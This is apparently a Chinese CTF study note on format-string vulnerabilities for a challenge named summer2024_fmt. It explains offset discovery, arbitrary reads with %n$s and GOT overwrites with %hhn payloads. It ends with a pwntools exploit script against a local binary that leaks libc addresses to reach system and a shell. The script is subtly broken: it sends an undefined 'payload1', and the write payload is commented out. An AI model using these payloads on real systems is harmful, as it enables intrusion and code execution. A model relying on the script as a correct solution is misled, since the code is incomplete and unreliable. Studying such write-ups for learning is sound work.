格式化字符串(summer2024_fmt)
参考博客
[参考博客]: https://blog.csdn.net/ysy___ysy/article/details/135700140
[参考博客]: https://blog.csdn.net/2402_83422357/article/details/139180404
戳此切大佬博客
https://blog.csdn.net/Morphy_Amo/article/details/122215773
https://blog.csdn.net/song_lee/article/details/103936833
!!!!https://www.yuque.com/hxfqg9/bin/aedgn4#WbamY
https://bbs.kanxue.com/thread-268850.htm
https://blog.csdn.net/mcmuyanga/article/details/113242453
https://www.cnblogs.com/hetianlab/p/15002398.html
https://www.cnblogs.com/VxerLee/p/16398761.html#任意地址内存覆盖任意写
格式化字符串
漏洞
当printf()的参数含有格式化字符串时就有可能泄露内存相关的东西,比如printf(buf)
利用它可以进行任意读或任意写
任意读
首先我们要确定我们输入的内容对应printf的第几个
[方法]{.kbd .red}
输入aaaa%p%p%p%p%p%p%p%p%p%p看程序对应输出的是第几个
64位程序是存在寄存器上rdi,rsi,rdx,rcx,r8,r9,然后是栈上,具体第几个用gdb调
如输出第五个参数可以写为%4$s,第六个为%5$s,需要输出第n个参数就是%(n-1)$[格式化控制符]。因此我们的payload可以简化为”\x01\x80\x04\x08%5$s”
任意改
如果想要改整个地址
%n 一次性写入4个字节
%hn 一次性写入2个字节
%hhn 一次性写入1个字节
#思路:向 printf_got 中 写入 system_plt
# 我们把 printf_got 最低位字节 覆盖成 0x60 一字节 写入 %hhn
# 我们把 printf_got 最低位字节+1字节 覆盖成 0x83 一字节 写入 %hhn
# 我们把 printf_got 最低位字节+2字节 覆盖成 0x04 一字节 写入 %hhn
# 我们把 printf_got 最低位字节+3字节 覆盖成 0x08 一字节 写入 %hhn
payload=p32(printf_got) #0x60 # 偏移 为 7
payload+=p32(printf_got+1) #0x83 # 偏移 为 8
payload+=p32(printf_got+2) #0x04 # 偏移 为 9
payload+=p32(printf_got+3) #0x08 # 偏移 为 10
payload+="%"+str(0x60-0x4*4)+"c%7$hhn" #0x60 # 偏移 为 7
payload+="%"+str(0x83-0x60)+"c%8$hhn" #0x83 # 偏移 为 8
payload+="%"+str(0x104-0x83)+"c%9$hhn" #0x04 # 偏移 为 9 #由于是hhn所以会被截断,只留后两位
payload+="%"+str(0x8-0x4)+"c%10$hhn" #0x08 # 偏移 为 10
有一个还挺方便的函数payload = fmtstr_payload(偏移,{原地址:目的地址}) [但是好像只能是32位]{.kbd .red}
wp
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'amd64')
p = process('./ez_fmt')
#p = remote('127.0.0.1',46587)
elf = ELF("./ez_fmt")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
pop_rdi_ret=0x4012d3
payload = b"aaaa" +b"%7$s" + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload)
p.recvuntil('aaaa')
printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
print("printf_real_addr ---> ", hex(printf_addr))
libc=ELF('./libc.so.6')
libc_base=printf_addr-libc.sym['printf'] #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_base+libc.search(b"/bin/sh\x00").__next__()#'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
sys_addr=libc_base+libc.sym['system']
print("sys_addr:{}".format(hex(sys_addr)))
print("binsh_addr:{}".format(hex(bin_sh_addr)))
#payload2= b'%' + str(system_real_addr) + b'c' + b'%7$n' + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload1)
p.sendline(b'/bin/sh\0')
p.interactive()
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步